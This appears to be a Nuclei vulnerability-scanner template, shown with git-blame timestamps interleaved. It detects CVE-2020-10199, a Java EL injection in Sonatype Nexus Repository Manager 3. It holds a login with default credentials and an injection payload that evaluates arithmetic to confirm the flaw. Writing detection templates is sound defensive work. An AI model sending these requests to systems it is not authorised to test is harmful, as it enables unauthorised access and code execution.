2023-04-18 08:08:59 +00:00
|
|
|
id: CVE-2020-10199
|
|
|
|
|
|
|
|
info:
|
2023-04-20 18:28:42 +00:00
|
|
|
name: Sonatype Nexus Repository Manager 3 - Remote Code Execution
|
2023-04-18 08:08:59 +00:00
|
|
|
author: rootxharsh,iamnoooob,pdresearch
|
|
|
|
severity: high
|
|
|
|
description: Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection
|
2023-08-18 12:18:01 +00:00
|
|
|
reference:
|
2023-08-07 10:07:30 +00:00
|
|
|
- https://twitter.com/iamnoooob/status/1246182773427240967
|
|
|
|
- https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-10199
|
2023-04-18 08:08:59 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 8.8
|
|
|
|
cve-id: CVE-2020-10199
|
|
|
|
cwe-id: CWE-917
|
2023-07-11 19:49:27 +00:00
|
|
|
epss-score: 0.973
|
2023-04-18 08:08:59 +00:00
|
|
|
cpe: cpe:2.3:a:sonatype:nexus:*:*:*:*:*:*:*:*
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 2
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: sonatype
|
|
|
|
product: nexus
|
|
|
|
tags: cve,cve2020,sonatype,nexus,rce,kev
|
2023-04-18 08:08:59 +00:00
|
|
|
variables:
|
|
|
|
username: admin
|
2023-05-07 16:19:29 +00:00
|
|
|
password: admin123
|
2023-04-18 08:08:59 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2023-04-18 08:08:59 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /service/rapture/session HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
|
|
|
|
|
|
username={{base64(username)}}&password={{base64(password)}}
|
|
|
|
- |
|
|
|
|
POST /service/rest/beta/repositories/bower/group HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
NX-ANTI-CSRF-TOKEN: 1
|
|
|
|
Cookie: NX-ANTI-CSRF-TOKEN=1
|
|
|
|
Content-Type: application/json
|
|
|
|
|
|
|
|
{"name": "internal", "online": "true", "storage": {"blobStoreName": "default", "strictContentTypeValidation": "true"}, "group": {"memberNames": ["$\\A{3*3333}"]}}
|
|
|
|
|
|
|
|
cookie-reuse: true
|
|
|
|
host-redirects: true
|
|
|
|
max-redirects: 2
|
2023-07-11 19:49:27 +00:00
|
|
|
|
2023-04-18 08:08:59 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- "Member repository does not exist: A9999"
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 400
|